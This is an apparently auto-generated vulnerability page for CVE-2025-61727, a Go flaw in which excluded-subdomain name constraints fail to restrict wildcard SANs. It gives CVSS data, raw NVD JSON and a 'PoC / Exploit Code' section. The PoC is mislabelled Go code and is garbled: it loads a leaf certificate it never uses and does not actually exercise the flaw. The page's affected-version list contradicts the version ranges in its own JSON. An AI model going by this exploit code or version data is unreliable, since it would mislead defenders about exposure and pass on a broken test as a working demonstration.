Security Vulnerability Report
中文
CVE-2025-61727 CVSS 6.5 MEDIUM

CVE-2025-61727

Published: 2025-12-03 20:16:26
Last Modified: 2025-12-18 20:15:11

Description

An excluded subdomain constraint in a certificate chain does not restrict the usage of wildcard SANs in the leaf certificate. For example a constraint that excludes the subdomain test.example.com does not prevent a leaf certificate from claiming the SAN *.example.com.

CVSS Details

CVSS Score
6.5
Severity
MEDIUM
CVSS Vector
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:L/A:N

Configurations (Affected Products)

cpe:2.3:a:golang:go:*:*:*:*:*:*:*:* - VULNERABLE
cpe:2.3:a:golang:go:*:*:*:*:*:*:*:* - VULNERABLE
Go语言 < 1.22.12
Go语言 < 1.23.0-1.23.5
Go语言 < 1.24.0-1.24.1

PoC / Exploit Code

⚠ For Security Research Only
The following code is for security research and authorized testing only.
python
// CVE-2025-61727 PoC - Go TLS Certificate Chain Wildcard SAN Bypass // This PoC demonstrates how wildcard SANs can bypass excluded subdomain constraints package main import ( "crypto/tls" "crypto/x509" "fmt" "net/http" "time" ) func main() { // Vulnerable configuration: CA excludes test.example.com // but allows wildcard *.example.com // Create a custom certificate pool with the vulnerable CA caCert, err := tls.LoadX509KeyPair("ca.crt", "ca.key") if err != nil { fmt.Printf("Failed to load CA certificate: %v\n", err) return } caCertPool := x509.NewCertPool() caCertPool.AddCert(caCert.Leaf) // Malicious leaf certificate with wildcard SAN // This certificate claims *.example.com but can be used for test.example.com leafCert, err := tls.LoadX509KeyPair("malicious_leaf.crt", "malicious_leaf.key") if err != nil { fmt.Printf("Failed to load leaf certificate: %v\n", err) return } // Create HTTP client with vulnerable verification client := &http.Client{ Transport: &http.Transport{ TLSClientConfig: &tls.Config{ RootCAs: caCertPool, ServerName: "test.example.com", // Excluded subdomain InsecureSkipVerify: false, }, }, Timeout: 10 * time.Second, } // The vulnerable verification allows this connection // because the certificate contains *.example.com wildcard SAN resp, err := client.Get("https://test.example.com/") if err != nil { fmt.Printf("Connection failed (expected in patched version): %v\n", err) return } defer resp.Body.Close() fmt.Printf("Connection succeeded - VULNERABLE! Status: %d\n", resp.StatusCode) fmt.Println("\n[!] This demonstrates the vulnerability: wildcard SAN bypassed exclusion constraint") }

References

Raw JSON Data

JSON
{"cve": {"id": "CVE-2025-61727", "sourceIdentifier": "[email protected]", "published": "2025-12-03T20:16:25.607", "lastModified": "2025-12-18T20:15:10.957", "vulnStatus": "Analyzed", "cveTags": [], "descriptions": [{"lang": "en", "value": "An excluded subdomain constraint in a certificate chain does not restrict the usage of wildcard SANs in the leaf certificate. For example a constraint that excludes the subdomain test.example.com does not prevent a leaf certificate from claiming the SAN *.example.com."}], "metrics": {"cvssMetricV31": [{"source": "134c704f-9b21-4f2e-91b3-4a467353bcc0", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:L/A:N", "baseScore": 6.5, "baseSeverity": "MEDIUM", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "NONE", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "LOW", "integrityImpact": "LOW", "availabilityImpact": "NONE"}, "exploitabilityScore": 3.9, "impactScore": 2.5}]}, "weaknesses": [{"source": "[email protected]", "type": "Primary", "description": [{"lang": "en", "value": "CWE-295"}]}], "configurations": [{"nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:a:golang:go:*:*:*:*:*:*:*:*", "versionEndExcluding": "1.24.11", "matchCriteriaId": "F2E6FD2A-A487-4099-B91D-2429F286AC6D"}, {"vulnerable": true, "criteria": "cpe:2.3:a:golang:go:*:*:*:*:*:*:*:*", "versionStartIncluding": "1.25", "versionEndExcluding": "1.25.5", "matchCriteriaId": "EC1866EE-ABDC-4F74-9657-70A1241D49BD"}]}]}], "references": [{"url": "https://go.dev/cl/723900", "source": "[email protected]", "tags": ["Patch"]}, {"url": "https://go.dev/issue/76442", "source": "[email protected]", "tags": ["Issue Tracking"]}, {"url": "https://groups.google.com/g/golang-announce/c/8FJoBkPddm4", "source": "[email protected]", "tags": ["Mailing List", "Release Notes"]}, {"url": "https://pkg.go.dev/vuln/GO-2025-4175", "source": "[email protected]", "tags": ["Vendor Advisory"]}]}}